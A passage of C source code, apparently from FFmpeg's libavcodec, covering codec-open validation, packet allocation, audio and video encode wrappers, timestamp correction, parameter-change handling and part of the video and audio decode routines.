emulation\n"); if (CONFIG_FRAME_THREAD_ENCODER && av_codec_is_encoder(avctx->codec)) { ff_unlock_avcodec(codec); //we will instantiate a few encoders thus kick the counter to prevent false detection of a problem ret = ff_frame_thread_encoder_init(avctx, options ? *options : NULL); ff_lock_avcodec(avctx, codec); if (ret < 0) goto free_and_end; } if (HAVE_THREADS && !(avctx->internal->frame_thread_encoder && (avctx->active_thread_type&FF_THREAD_FRAME))) { ret = ff_thread_init(avctx); if (ret < 0) { goto free_and_end; } } if (!HAVE_THREADS && !(codec->capabilities & AV_CODEC_CAP_AUTO_THREADS)) avctx->thread_count = 1; if (avctx->codec->max_lowres < avctx->lowres || avctx->lowres < 0) { av_log(avctx, AV_LOG_WARNING, "The maximum value for lowres supported by the decoder is %d\n", avctx->codec->max_lowres); avctx->lowres = avctx->codec->max_lowres; } #if FF_API_VISMV if (avctx->debug_mv) av_log(avctx, AV_LOG_WARNING, "The 'vismv' option is deprecated, " "see the codecview filter instead.\n"); #endif if (av_codec_is_encoder(avctx->codec)) { int i; #if FF_API_CODED_FRAME FF_DISABLE_DEPRECATION_WARNINGS avctx->coded_frame = av_frame_alloc(); if (!avctx->coded_frame) { ret = AVERROR(ENOMEM); goto free_and_end; } FF_ENABLE_DEPRECATION_WARNINGS #endif if (avctx->time_base.num <= 0 || avctx->time_base.den <= 0) { av_log(avctx, AV_LOG_ERROR, "The encoder timebase is not set.\n"); ret = AVERROR(EINVAL); goto free_and_end; } if (avctx->codec->sample_fmts) { for (i = 0; avctx->codec->sample_fmts[i] != AV_SAMPLE_FMT_NONE; i++) { if (avctx->sample_fmt == avctx->codec->sample_fmts[i]) break; if (avctx->channels == 1 && av_get_planar_sample_fmt(avctx->sample_fmt) == av_get_planar_sample_fmt(avctx->codec->sample_fmts[i])) { avctx->sample_fmt = avctx->codec->sample_fmts[i]; break; } } if (avctx->codec->sample_fmts[i] == AV_SAMPLE_FMT_NONE) { char buf[128]; snprintf(buf, sizeof(buf), "%d", avctx->sample_fmt); av_log(avctx, AV_LOG_ERROR, "Specified sample format %s is invalid or not supported\n", (char *)av_x_if_null(av_get_sample_fmt_name(avctx->sample_fmt), buf)); ret = AVERROR(EINVAL); goto free_and_end; } } if (avctx->codec->pix_fmts) { for (i = 0; avctx->codec->pix_fmts[i] != AV_PIX_FMT_NONE; i++) if (avctx->pix_fmt == avctx->codec->pix_fmts[i]) break; if (avctx->codec->pix_fmts[i] == AV_PIX_FMT_NONE && !((avctx->codec_id == AV_CODEC_ID_MJPEG || avctx->codec_id == AV_CODEC_ID_LJPEG) && avctx->strict_std_compliance <= FF_COMPLIANCE_UNOFFICIAL)) { char buf[128]; snprintf(buf, sizeof(buf), "%d", avctx->pix_fmt); av_log(avctx, AV_LOG_ERROR, "Specified pixel format %s is invalid or not supported\n", (char *)av_x_if_null(av_get_pix_fmt_name(avctx->pix_fmt), buf)); ret = AVERROR(EINVAL); goto free_and_end; } if (avctx->codec->pix_fmts[i] == AV_PIX_FMT_YUVJ420P || avctx->codec->pix_fmts[i] == AV_PIX_FMT_YUVJ411P || avctx->codec->pix_fmts[i] == AV_PIX_FMT_YUVJ422P || avctx->codec->pix_fmts[i] == AV_PIX_FMT_YUVJ440P || avctx->codec->pix_fmts[i] == AV_PIX_FMT_YUVJ444P) avctx->color_range = AVCOL_RANGE_JPEG; } if (avctx->codec->supported_samplerates) { for (i = 0; avctx->codec->supported_samplerates[i] != 0; i++) if (avctx->sample_rate == avctx->codec->supported_samplerates[i]) break; if (avctx->codec->supported_samplerates[i] == 0) { av_log(avctx, AV_LOG_ERROR, "Specified sample rate %d is not supported\n", avctx->sample_rate); ret = AVERROR(EINVAL); goto free_and_end; } } if (avctx->sample_rate < 0) { av_log(avctx, AV_LOG_ERROR, "Specified sample rate %d is not supported\n", avctx->sample_rate); ret = AVERROR(EINVAL); goto free_and_end; } if (avctx->codec->channel_layouts) { if (!avctx->channel_layout) { av_log(avctx, AV_LOG_WARNING, "Channel layout not specified\n"); } else { for (i = 0; avctx->codec->channel_layouts[i] != 0; i++) if (avctx->channel_layout == avctx->codec->channel_layouts[i]) break; if (avctx->codec->channel_layouts[i] == 0) { char buf[512]; av_get_channel_layout_string(buf, sizeof(buf), -1, avctx->channel_layout); av_log(avctx, AV_LOG_ERROR, "Specified channel layout '%s' is not supported\n", buf); ret = AVERROR(EINVAL); goto free_and_end; } } } if (avctx->channel_layout && avctx->channels) { int channels = av_get_channel_layout_nb_channels(avctx->channel_layout); if (channels != avctx->channels) { char buf[512]; av_get_channel_layout_string(buf, sizeof(buf), -1, avctx->channel_layout); av_log(avctx, AV_LOG_ERROR, "Channel layout '%s' with %d channels does not match number of specified channels %d\n", buf, channels, avctx->channels); ret = AVERROR(EINVAL); goto free_and_end; } } else if (avctx->channel_layout) { avctx->channels = av_get_channel_layout_nb_channels(avctx->channel_layout); } if (avctx->channels < 0) { av_log(avctx, AV_LOG_ERROR, "Specified number of channels %d is not supported\n", avctx->channels); ret = AVERROR(EINVAL); goto free_and_end; } if(avctx->codec_type == AVMEDIA_TYPE_VIDEO) { pixdesc = av_pix_fmt_desc_get(avctx->pix_fmt); if ( avctx->bits_per_raw_sample < 0 || (avctx->bits_per_raw_sample > 8 && pixdesc->comp[0].depth <= 8)) { av_log(avctx, AV_LOG_WARNING, "Specified bit depth %d not possible with the specified pixel formats depth %d\n", avctx->bits_per_raw_sample, pixdesc->comp[0].depth); avctx->bits_per_raw_sample = pixdesc->comp[0].depth; } if (avctx->width <= 0 || avctx->height <= 0) { av_log(avctx, AV_LOG_ERROR, "dimensions not set\n"); ret = AVERROR(EINVAL); goto free_and_end; } } if ( (avctx->codec_type == AVMEDIA_TYPE_VIDEO || avctx->codec_type == AVMEDIA_TYPE_AUDIO) && avctx->bit_rate>0 && avctx->bit_rate<1000) { av_log(avctx, AV_LOG_WARNING, "Bitrate %"PRId64" is extremely low, maybe you mean %"PRId64"k\n", (int64_t)avctx->bit_rate, (int64_t)avctx->bit_rate); } if (!avctx->rc_initial_buffer_occupancy) avctx->rc_initial_buffer_occupancy = avctx->rc_buffer_size * 3 / 4; if (avctx->ticks_per_frame && avctx->time_base.num && avctx->ticks_per_frame > INT_MAX / avctx->time_base.num) { av_log(avctx, AV_LOG_ERROR, "ticks_per_frame %d too large for the timebase %d/%d.", avctx->ticks_per_frame, avctx->time_base.num, avctx->time_base.den); goto free_and_end; } if (avctx->hw_frames_ctx) { AVHWFramesContext *frames_ctx = (AVHWFramesContext*)avctx->hw_frames_ctx->data; if (frames_ctx->format != avctx->pix_fmt) { av_log(avctx, AV_LOG_ERROR, "Mismatching AVCodecContext.pix_fmt and AVHWFramesContext.format\n"); ret = AVERROR(EINVAL); goto free_and_end; } } } avctx->pts_correction_num_faulty_pts = avctx->pts_correction_num_faulty_dts = 0; avctx->pts_correction_last_pts = avctx->pts_correction_last_dts = INT64_MIN; if ( !CONFIG_GRAY && avctx->flags & AV_CODEC_FLAG_GRAY && avctx->codec_descriptor->type == AVMEDIA_TYPE_VIDEO) av_log(avctx, AV_LOG_WARNING, "gray decoding requested but not enabled at configuration time\n"); if ( avctx->codec->init && (!(avctx->active_thread_type&FF_THREAD_FRAME) || avctx->internal->frame_thread_encoder)) { ret = avctx->codec->init(avctx); if (ret < 0) { goto free_and_end; } } ret=0; #if FF_API_AUDIOENC_DELAY if (av_codec_is_encoder(avctx->codec)) avctx->delay = avctx->initial_padding; #endif if (av_codec_is_decoder(avctx->codec)) { if (!avctx->bit_rate) avctx->bit_rate = get_bit_rate(avctx); /* validate channel layout from the decoder */ if (avctx->channel_layout) { int channels = av_get_channel_layout_nb_channels(avctx->channel_layout); if (!avctx->channels) avctx->channels = channels; else if (channels != avctx->channels) { char buf[512]; av_get_channel_layout_string(buf, sizeof(buf), -1, avctx->channel_layout); av_log(avctx, AV_LOG_WARNING, "Channel layout '%s' with %d channels does not match specified number of channels %d: " "ignoring specified channel layout\n", buf, channels, avctx->channels); avctx->channel_layout = 0; } } if (avctx->channels && avctx->channels < 0 || avctx->channels > FF_SANE_NB_CHANNELS) { ret = AVERROR(EINVAL); goto free_and_end; } if (avctx->sub_charenc) { if (avctx->codec_type != AVMEDIA_TYPE_SUBTITLE) { av_log(avctx, AV_LOG_ERROR, "Character encoding is only " "supported with subtitles codecs\n"); ret = AVERROR(EINVAL); goto free_and_end; } else if (avctx->codec_descriptor->props & AV_CODEC_PROP_BITMAP_SUB) { av_log(avctx, AV_LOG_WARNING, "Codec '%s' is bitmap-based, " "subtitles character encoding will be ignored\n", avctx->codec_descriptor->name); avctx->sub_charenc_mode = FF_SUB_CHARENC_MODE_DO_NOTHING; } else { /* input character encoding is set for a text based subtitle * codec at this point */ if (avctx->sub_charenc_mode == FF_SUB_CHARENC_MODE_AUTOMATIC) avctx->sub_charenc_mode = FF_SUB_CHARENC_MODE_PRE_DECODER; if (avctx->sub_charenc_mode == FF_SUB_CHARENC_MODE_PRE_DECODER) { #if CONFIG_ICONV iconv_t cd = iconv_open("UTF-8", avctx->sub_charenc); if (cd == (iconv_t)-1) { ret = AVERROR(errno); av_log(avctx, AV_LOG_ERROR, "Unable to open iconv context " "with input character encoding \"%s\"\n", avctx->sub_charenc); goto free_and_end; } iconv_close(cd); #else av_log(avctx, AV_LOG_ERROR, "Character encoding subtitles " "conversion needs a libavcodec built with iconv support " "for this codec\n"); ret = AVERROR(ENOSYS); goto free_and_end; #endif } } } #if FF_API_AVCTX_TIMEBASE if (avctx->framerate.num > 0 && avctx->framerate.den > 0) avctx->time_base = av_inv_q(av_mul_q(avctx->framerate, (AVRational){avctx->ticks_per_frame, 1})); #endif } if (codec->priv_data_size > 0 && avctx->priv_data && codec->priv_class) { av_assert0(*(const AVClass **)avctx->priv_data == codec->priv_class); } end: ff_unlock_avcodec(codec); if (options) { av_dict_free(options); *options = tmp; } return ret; free_and_end: if (avctx->codec && (avctx->codec->caps_internal & FF_CODEC_CAP_INIT_CLEANUP)) avctx->codec->close(avctx); if (codec->priv_class && codec->priv_data_size) av_opt_free(avctx->priv_data); av_opt_free(avctx); #if FF_API_CODED_FRAME FF_DISABLE_DEPRECATION_WARNINGS av_frame_free(&avctx->coded_frame); FF_ENABLE_DEPRECATION_WARNINGS #endif av_dict_free(&tmp); av_freep(&avctx->priv_data); if (avctx->internal) { av_packet_free(&avctx->internal->buffer_pkt); av_frame_free(&avctx->internal->buffer_frame); av_frame_free(&avctx->internal->to_free); av_freep(&avctx->internal->pool); } av_freep(&avctx->internal); avctx->codec = NULL; goto end; } int ff_alloc_packet2(AVCodecContext *avctx, AVPacket *avpkt, int64_t size, int64_t min_size) { if (avpkt->size < 0) { av_log(avctx, AV_LOG_ERROR, "Invalid negative user packet size %d\n", avpkt->size); return AVERROR(EINVAL); } if (size < 0 || size > INT_MAX - AV_INPUT_BUFFER_PADDING_SIZE) { av_log(avctx, AV_LOG_ERROR, "Invalid minimum required packet size %"PRId64" (max allowed is %d)\n", size, INT_MAX - AV_INPUT_BUFFER_PADDING_SIZE); return AVERROR(EINVAL); } if (avctx && 2*min_size < size) { // FIXME The factor needs to be finetuned av_assert0(!avpkt->data || avpkt->data != avctx->internal->byte_buffer); if (!avpkt->data || avpkt->size < size) { av_fast_padded_malloc(&avctx->internal->byte_buffer, &avctx->internal->byte_buffer_size, size); avpkt->data = avctx->internal->byte_buffer; avpkt->size = avctx->internal->byte_buffer_size; } } if (avpkt->data) { AVBufferRef *buf = avpkt->buf; if (avpkt->size < size) { av_log(avctx, AV_LOG_ERROR, "User packet is too small (%d < %"PRId64")\n", avpkt->size, size); return AVERROR(EINVAL); } av_init_packet(avpkt); avpkt->buf = buf; avpkt->size = size; return 0; } else { int ret = av_new_packet(avpkt, size); if (ret < 0) av_log(avctx, AV_LOG_ERROR, "Failed to allocate packet of size %"PRId64"\n", size); return ret; } } int ff_alloc_packet(AVPacket *avpkt, int size) { return ff_alloc_packet2(NULL, avpkt, size, 0); } /** * Pad last frame with silence. */ static int pad_last_frame(AVCodecContext *s, AVFrame **dst, const AVFrame *src) { AVFrame *frame = NULL; int ret; if (!(frame = av_frame_alloc())) return AVERROR(ENOMEM); frame->format = src->format; frame->channel_layout = src->channel_layout; av_frame_set_channels(frame, av_frame_get_channels(src)); frame->nb_samples = s->frame_size; ret = av_frame_get_buffer(frame, 32); if (ret < 0) goto fail; ret = av_frame_copy_props(frame, src); if (ret < 0) goto fail; if ((ret = av_samples_copy(frame->extended_data, src->extended_data, 0, 0, src->nb_samples, s->channels, s->sample_fmt)) < 0) goto fail; if ((ret = av_samples_set_silence(frame->extended_data, src->nb_samples, frame->nb_samples - src->nb_samples, s->channels, s->sample_fmt)) < 0) goto fail; *dst = frame; return 0; fail: av_frame_free(&frame); return ret; } int attribute_align_arg avcodec_encode_audio2(AVCodecContext *avctx, AVPacket *avpkt, const AVFrame *frame, int *got_packet_ptr) { AVFrame *extended_frame = NULL; AVFrame *padded_frame = NULL; int ret; AVPacket user_pkt = *avpkt; int needs_realloc = !user_pkt.data; *got_packet_ptr = 0; if (!avctx->codec->encode2) { av_log(avctx, AV_LOG_ERROR, "This encoder requires using the avcodec_send_frame() API.\n"); return AVERROR(ENOSYS); } if (!(avctx->codec->capabilities & AV_CODEC_CAP_DELAY) && !frame) { av_packet_unref(avpkt); av_init_packet(avpkt); return 0; } /* ensure that extended_data is properly set */ if (frame && !frame->extended_data) { if (av_sample_fmt_is_planar(avctx->sample_fmt) && avctx->channels > AV_NUM_DATA_POINTERS) { av_log(avctx, AV_LOG_ERROR, "Encoding to a planar sample format, " "with more than %d channels, but extended_data is not set.\n", AV_NUM_DATA_POINTERS); return AVERROR(EINVAL); } av_log(avctx, AV_LOG_WARNING, "extended_data is not set.\n"); extended_frame = av_frame_alloc(); if (!extended_frame) return AVERROR(ENOMEM); memcpy(extended_frame, frame, sizeof(AVFrame)); extended_frame->extended_data = extended_frame->data; frame = extended_frame; } /* extract audio service type metadata */ if (frame) { AVFrameSideData *sd = av_frame_get_side_data(frame, AV_FRAME_DATA_AUDIO_SERVICE_TYPE); if (sd && sd->size >= sizeof(enum AVAudioServiceType)) avctx->audio_service_type = *(enum AVAudioServiceType*)sd->data; } /* check for valid frame size */ if (frame) { if (avctx->codec->capabilities & AV_CODEC_CAP_SMALL_LAST_FRAME) { if (frame->nb_samples > avctx->frame_size) { av_log(avctx, AV_LOG_ERROR, "more samples than frame size (avcodec_encode_audio2)\n"); ret = AVERROR(EINVAL); goto end; } } else if (!(avctx->codec->capabilities & AV_CODEC_CAP_VARIABLE_FRAME_SIZE)) { if (frame->nb_samples < avctx->frame_size && !avctx->internal->last_audio_frame) { ret = pad_last_frame(avctx, &padded_frame, frame); if (ret < 0) goto end; frame = padded_frame; avctx->internal->last_audio_frame = 1; } if (frame->nb_samples != avctx->frame_size) { av_log(avctx, AV_LOG_ERROR, "nb_samples (%d) != frame_size (%d) (avcodec_encode_audio2)\n", frame->nb_samples, avctx->frame_size); ret = AVERROR(EINVAL); goto end; } } } av_assert0(avctx->codec->encode2); ret = avctx->codec->encode2(avctx, avpkt, frame, got_packet_ptr); if (!ret) { if (*got_packet_ptr) { if (!(avctx->codec->capabilities & AV_CODEC_CAP_DELAY)) { if (avpkt->pts == AV_NOPTS_VALUE) avpkt->pts = frame->pts; if (!avpkt->duration) avpkt->duration = ff_samples_to_time_base(avctx, frame->nb_samples); } avpkt->dts = avpkt->pts; } else { avpkt->size = 0; } } if (avpkt->data && avpkt->data == avctx->internal->byte_buffer) { needs_realloc = 0; if (user_pkt.data) { if (user_pkt.size >= avpkt->size) { memcpy(user_pkt.data, avpkt->data, avpkt->size); } else { av_log(avctx, AV_LOG_ERROR, "Provided packet is too small, needs to be %d\n", avpkt->size); avpkt->size = user_pkt.size; ret = -1; } avpkt->buf = user_pkt.buf; avpkt->data = user_pkt.data; } else { if (av_dup_packet(avpkt) < 0) { ret = AVERROR(ENOMEM); } } } if (!ret) { if (needs_realloc && avpkt->data) { ret = av_buffer_realloc(&avpkt->buf, avpkt->size + AV_INPUT_BUFFER_PADDING_SIZE); if (ret >= 0) avpkt->data = avpkt->buf->data; } avctx->frame_number++; } if (ret < 0 || !*got_packet_ptr) { av_packet_unref(avpkt); av_init_packet(avpkt); goto end; } /* NOTE: if we add any audio encoders which output non-keyframe packets, * this needs to be moved to the encoders, but for now we can do it * here to simplify things */ avpkt->flags |= AV_PKT_FLAG_KEY; end: av_frame_free(&padded_frame); av_free(extended_frame); #if FF_API_AUDIOENC_DELAY avctx->delay = avctx->initial_padding; #endif return ret; } int attribute_align_arg avcodec_encode_video2(AVCodecContext *avctx, AVPacket *avpkt, const AVFrame *frame, int *got_packet_ptr) { int ret; AVPacket user_pkt = *avpkt; int needs_realloc = !user_pkt.data; *got_packet_ptr = 0; if (!avctx->codec->encode2) { av_log(avctx, AV_LOG_ERROR, "This encoder requires using the avcodec_send_frame() API.\n"); return AVERROR(ENOSYS); } if(CONFIG_FRAME_THREAD_ENCODER && avctx->internal->frame_thread_encoder && (avctx->active_thread_type&FF_THREAD_FRAME)) return ff_thread_video_encode_frame(avctx, avpkt, frame, got_packet_ptr); if ((avctx->flags&AV_CODEC_FLAG_PASS1) && avctx->stats_out) avctx->stats_out[0] = '\0'; if (!(avctx->codec->capabilities & AV_CODEC_CAP_DELAY) && !frame) { av_packet_unref(avpkt); av_init_packet(avpkt); avpkt->size = 0; return 0; } if (av_image_check_size2(avctx->width, avctx->height, avctx->max_pixels, AV_PIX_FMT_NONE, 0, avctx)) return AVERROR(EINVAL); if (frame && frame->format == AV_PIX_FMT_NONE) av_log(avctx, AV_LOG_WARNING, "AVFrame.format is not set\n"); if (frame && (frame->width == 0 || frame->height == 0)) av_log(avctx, AV_LOG_WARNING, "AVFrame.width or height is not set\n"); av_assert0(avctx->codec->encode2); ret = avctx->codec->encode2(avctx, avpkt, frame, got_packet_ptr); av_assert0(ret <= 0); emms_c(); if (avpkt->data && avpkt->data == avctx->internal->byte_buffer) { needs_realloc = 0; if (user_pkt.data) { if (user_pkt.size >= avpkt->size) { memcpy(user_pkt.data, avpkt->data, avpkt->size); } else { av_log(avctx, AV_LOG_ERROR, "Provided packet is too small, needs to be %d\n", avpkt->size); avpkt->size = user_pkt.size; ret = -1; } avpkt->buf = user_pkt.buf; avpkt->data = user_pkt.data; } else { if (av_dup_packet(avpkt) < 0) { ret = AVERROR(ENOMEM); } } } if (!ret) { if (!*got_packet_ptr) avpkt->size = 0; else if (!(avctx->codec->capabilities & AV_CODEC_CAP_DELAY)) avpkt->pts = avpkt->dts = frame->pts; if (needs_realloc && avpkt->data) { ret = av_buffer_realloc(&avpkt->buf, avpkt->size + AV_INPUT_BUFFER_PADDING_SIZE); if (ret >= 0) avpkt->data = avpkt->buf->data; } avctx->frame_number++; } if (ret < 0 || !*got_packet_ptr) av_packet_unref(avpkt); return ret; } int avcodec_encode_subtitle(AVCodecContext *avctx, uint8_t *buf, int buf_size, const AVSubtitle *sub) { int ret; if (sub->start_display_time) { av_log(avctx, AV_LOG_ERROR, "start_display_time must be 0.\n"); return -1; } ret = avctx->codec->encode_sub(avctx, buf, buf_size, sub); avctx->frame_number++; return ret; } /** * Attempt to guess proper monotonic timestamps for decoded video frames * which might have incorrect times. Input timestamps may wrap around, in * which case the output will as well. * * @param pts the pts field of the decoded AVPacket, as passed through * AVFrame.pts * @param dts the dts field of the decoded AVPacket * @return one of the input values, may be AV_NOPTS_VALUE */ static int64_t guess_correct_pts(AVCodecContext *ctx, int64_t reordered_pts, int64_t dts) { int64_t pts = AV_NOPTS_VALUE; if (dts != AV_NOPTS_VALUE) { ctx->pts_correction_num_faulty_dts += dts <= ctx->pts_correction_last_dts; ctx->pts_correction_last_dts = dts; } else if (reordered_pts != AV_NOPTS_VALUE) ctx->pts_correction_last_dts = reordered_pts; if (reordered_pts != AV_NOPTS_VALUE) { ctx->pts_correction_num_faulty_pts += reordered_pts <= ctx->pts_correction_last_pts; ctx->pts_correction_last_pts = reordered_pts; } else if(dts != AV_NOPTS_VALUE) ctx->pts_correction_last_pts = dts; if ((ctx->pts_correction_num_faulty_pts<=ctx->pts_correction_num_faulty_dts || dts == AV_NOPTS_VALUE) && reordered_pts != AV_NOPTS_VALUE) pts = reordered_pts; else pts = dts; return pts; } static int apply_param_change(AVCodecContext *avctx, AVPacket *avpkt) { int size = 0, ret; const uint8_t *data; uint32_t flags; int64_t val; data = av_packet_get_side_data(avpkt, AV_PKT_DATA_PARAM_CHANGE, &size); if (!data) return 0; if (!(avctx->codec->capabilities & AV_CODEC_CAP_PARAM_CHANGE)) { av_log(avctx, AV_LOG_ERROR, "This decoder does not support parameter " "changes, but PARAM_CHANGE side data was sent to it.\n"); ret = AVERROR(EINVAL); goto fail2; } if (size < 4) goto fail; flags = bytestream_get_le32(&data); size -= 4; if (flags & AV_SIDE_DATA_PARAM_CHANGE_CHANNEL_COUNT) { if (size < 4) goto fail; val = bytestream_get_le32(&data); if (val <= 0 || val > INT_MAX) { av_log(avctx, AV_LOG_ERROR, "Invalid channel count"); ret = AVERROR_INVALIDDATA; goto fail2; } avctx->channels = val; size -= 4; } if (flags & AV_SIDE_DATA_PARAM_CHANGE_CHANNEL_LAYOUT) { if (size < 8) goto fail; avctx->channel_layout = bytestream_get_le64(&data); size -= 8; } if (flags & AV_SIDE_DATA_PARAM_CHANGE_SAMPLE_RATE) { if (size < 4) goto fail; val = bytestream_get_le32(&data); if (val <= 0 || val > INT_MAX) { av_log(avctx, AV_LOG_ERROR, "Invalid sample rate"); ret = AVERROR_INVALIDDATA; goto fail2; } avctx->sample_rate = val; size -= 4; } if (flags & AV_SIDE_DATA_PARAM_CHANGE_DIMENSIONS) { if (size < 8) goto fail; avctx->width = bytestream_get_le32(&data); avctx->height = bytestream_get_le32(&data); size -= 8; ret = ff_set_dimensions(avctx, avctx->width, avctx->height); if (ret < 0) goto fail2; } return 0; fail: av_log(avctx, AV_LOG_ERROR, "PARAM_CHANGE side data too small.\n"); ret = AVERROR_INVALIDDATA; fail2: if (ret < 0) { av_log(avctx, AV_LOG_ERROR, "Error applying parameter changes.\n"); if (avctx->err_recognition & AV_EF_EXPLODE) return ret; } return 0; } static int unrefcount_frame(AVCodecInternal *avci, AVFrame *frame) { int ret; /* move the original frame to our backup */ av_frame_unref(avci->to_free); av_frame_move_ref(avci->to_free, frame); /* now copy everything except the AVBufferRefs back * note that we make a COPY of the side data, so calling av_frame_free() on * the caller's frame will work properly */ ret = av_frame_copy_props(frame, avci->to_free); if (ret < 0) return ret; memcpy(frame->data, avci->to_free->data, sizeof(frame->data)); memcpy(frame->linesize, avci->to_free->linesize, sizeof(frame->linesize)); if (avci->to_free->extended_data != avci->to_free->data) { int planes = av_frame_get_channels(avci->to_free); int size = planes * sizeof(*frame->extended_data); if (!size) { av_frame_unref(frame); return AVERROR_BUG; } frame->extended_data = av_malloc(size); if (!frame->extended_data) { av_frame_unref(frame); return AVERROR(ENOMEM); } memcpy(frame->extended_data, avci->to_free->extended_data, size); } else frame->extended_data = frame->data; frame->format = avci->to_free->format; frame->width = avci->to_free->width; frame->height = avci->to_free->height; frame->channel_layout = avci->to_free->channel_layout; frame->nb_samples = avci->to_free->nb_samples; av_frame_set_channels(frame, av_frame_get_channels(avci->to_free)); return 0; } int attribute_align_arg avcodec_decode_video2(AVCodecContext *avctx, AVFrame *picture, int *got_picture_ptr, const AVPacket *avpkt) { AVCodecInternal *avci = avctx->internal; int ret; // copy to ensure we do not change avpkt AVPacket tmp = *avpkt; if (!avctx->codec) return AVERROR(EINVAL); if (avctx->codec->type != AVMEDIA_TYPE_VIDEO) { av_log(avctx, AV_LOG_ERROR, "Invalid media type for video\n"); return AVERROR(EINVAL); } if (!avctx->codec->decode) { av_log(avctx, AV_LOG_ERROR, "This decoder requires using the avcodec_send_packet() API.\n"); return AVERROR(ENOSYS); } *got_picture_ptr = 0; if ((avctx->coded_width || avctx->coded_height) && av_image_check_size2(avctx->coded_width, avctx->coded_height, avctx->max_pixels, AV_PIX_FMT_NONE, 0, avctx)) return AVERROR(EINVAL); avctx->internal->pkt = avpkt; ret = apply_param_change(avctx, avpkt); if (ret < 0) return ret; av_frame_unref(picture); if ((avctx->codec->capabilities & AV_CODEC_CAP_DELAY) || avpkt->size || (avctx->active_thread_type & FF_THREAD_FRAME)) { int did_split = av_packet_split_side_data(&tmp); ret = apply_param_change(avctx, &tmp); if (ret < 0) goto fail; avctx->internal->pkt = &tmp; if (HAVE_THREADS && avctx->active_thread_type & FF_THREAD_FRAME) ret = ff_thread_decode_frame(avctx, picture, got_picture_ptr, &tmp); else { ret = avctx->codec->decode(avctx, picture, got_picture_ptr, &tmp); if (!(avctx->codec->caps_internal & FF_CODEC_CAP_SETS_PKT_DTS)) picture->pkt_dts = avpkt->dts; if(!avctx->has_b_frames){ av_frame_set_pkt_pos(picture, avpkt->pos); } //FIXME these should be under if(!avctx->has_b_frames) /* get_buffer is supposed to set frame parameters */ if (!(avctx->codec->capabilities & AV_CODEC_CAP_DR1)) { if (!picture->sample_aspect_ratio.num) picture->sample_aspect_ratio = avctx->sample_aspect_ratio; if (!picture->width) picture->width = avctx->width; if (!picture->height) picture->height = avctx->height; if (picture->format == AV_PIX_FMT_NONE) picture->format = avctx->pix_fmt; } } fail: emms_c(); //needed to avoid an emms_c() call before every return; avctx->internal->pkt = NULL; if (did_split) { av_packet_free_side_data(&tmp); if(ret == tmp.size) ret = avpkt->size; } if (picture->flags & AV_FRAME_FLAG_DISCARD) { *got_picture_ptr = 0; } if (*got_picture_ptr) { if (!avctx->refcounted_frames) { int err = unrefcount_frame(avci, picture); if (err < 0) return err; } avctx->frame_number++; av_frame_set_best_effort_timestamp(picture, guess_correct_pts(avctx, picture->pts, picture->pkt_dts)); } else av_frame_unref(picture); } else ret = 0; /* many decoders assign whole AVFrames, thus overwriting extended_data; * make sure it's set correctly */ av_assert0(!picture->extended_data || picture->extended_data == picture->data); #if FF_API_AVCTX_TIMEBASE if (avctx->framerate.num > 0 && avctx->framerate.den > 0) avctx->time_base = av_inv_q(av_mul_q(avctx->framerate, (AVRational){avctx->ticks_per_frame, 1})); #endif return ret; } int attribute_align_arg avcodec_decode_audio4(AVCodecContext *avctx, AVFrame *frame, int *got_frame_ptr, const AVPacket *avpkt) { AVCodecInternal *avci = avctx->internal; int ret = 0; *got_frame_ptr = 0; if (!avctx->codec) return AVERROR(EINVAL); if (!avctx->codec->decode) { av_log(avctx, AV_LOG_ERROR, "This decoder requires using the avcodec_send_packet() API.\n"); return AVERROR(ENOSYS); } if (!avpkt->data && avpkt->size) { av_log(avctx, AV_LOG_ERROR, "invalid packet: NULL data, size != 0\n"); return AVERROR(EINVAL); } if (avctx->codec->type != AVMEDIA_TYPE_AUDIO) { av_log(avctx, AV_LOG_ERROR, "Invalid media type for audio\n"); return AVERROR(EINVAL); } av_frame_unref(frame); if ((avctx->codec->capabilities & AV_CODEC_CAP_DELAY) || avpkt->size || (avctx->active_thread_type & FF_THREAD_FRAME)) { uint8_t *side; int side_size; uint32_t discard_padding = 0; uint8_t skip_reason = 0; uint8_t discard_reason = 0; // copy to ensure we do not change avpkt AVPacket tmp = *avpkt; int did_split = av_packet_split_side_data(&tmp); ret = apply_param_change(avctx, &tmp); if (ret < 0) goto fail; avctx->internal->pkt = &tmp; if (HAVE_THREADS && avctx->active_thread_type & FF_THREAD_FRAME) ret = ff_thread_decode_frame(avctx, frame, got_frame_ptr, &tmp); else { ret = avctx->codec->decode(avctx, frame, got_frame_ptr, &tmp); av_assert0(ret <= tmp.size); frame->pkt_dts = avpkt->dts; } if (ret >= 0 && *got_frame_ptr) { avctx->frame_number++; av_frame_set_best_effort_timestamp(frame, guess_correct_pts(avctx, frame->pts, frame->pkt_dts)); if (frame->format == AV_SAMPLE_FMT_NONE) frame->format = avctx->sample_fmt; if (!frame->channel_layout) frame->channel_layout = avctx->channel_layout; if (!av_frame_get_channels(frame)) av_frame_set_channels(frame, avctx->channels); if (!frame->sample_rate) frame->sample_rate = avctx->sample_rate; } side= av_packet_get_side_data(avctx->internal->pkt, AV_PKT_DATA_SKIP_SAMPLES, &side_size); if(side && side_size>=10) { avctx->internal->skip_samples = AV_RL32(side); discard_padding = AV_RL32(side + 4); av_log(avctx, AV_LOG_DEBUG, "skip %d / discard %d samples due to side data\n", avctx->internal->skip_samples, (int)discard_padding); skip_reason = AV_RL8(side + 8); discard_reason = AV_RL8(side + 9); } if ((frame->flags & AV_FRAME_FLAG_DISCARD) && *got_frame_ptr && !(avctx->flags2 & AV_CODEC_FLAG2_SKIP_MANUAL)) { avctx->internal->skip_samples = FFMAX(0, avctx->internal->skip_samples - frame->nb_samples); *got_frame_ptr = 0; } if (avctx->internal->skip_samples > 0 && *got_frame_ptr && !(avctx->flags2 & AV_CODEC_FLAG2_SKIP_MANUAL)) { if(frame->nb_samples <= avctx->internal->skip_samples){ *got_frame_ptr = 0; avctx->internal->skip_samples -= frame->nb_samples; av_log(avctx, AV_LOG_DEBUG, "skip whole frame, skip left: %d\n", avctx->internal->skip_samples); } else { av_samples_copy(frame->extended_data, frame->extended_data, 0, avctx->internal->skip_samples, frame->nb_samples - avctx->internal->skip_samples, avctx->channels, frame->format); if(avctx->pkt_timebase.num && avctx->sample_rate) { int64_t diff_ts = av_rescale_q(avctx->internal->skip_samples, (AVRational){1, avctx->sample_rate}, avctx->pkt_timebase); if(frame->pts!=AV_NOPTS_VALUE) frame->pts += diff_ts; #if FF_API_PKT_PTS FF_DISABLE_DEPRECATION_WARNINGS if(frame->pkt_pts!=AV_NOPTS_VALUE) frame->pkt_pts += diff_ts; FF_ENABLE_DEPRECATION_WARNINGS #endif if(frame->pkt_dts!=AV_NOPTS_VALUE) 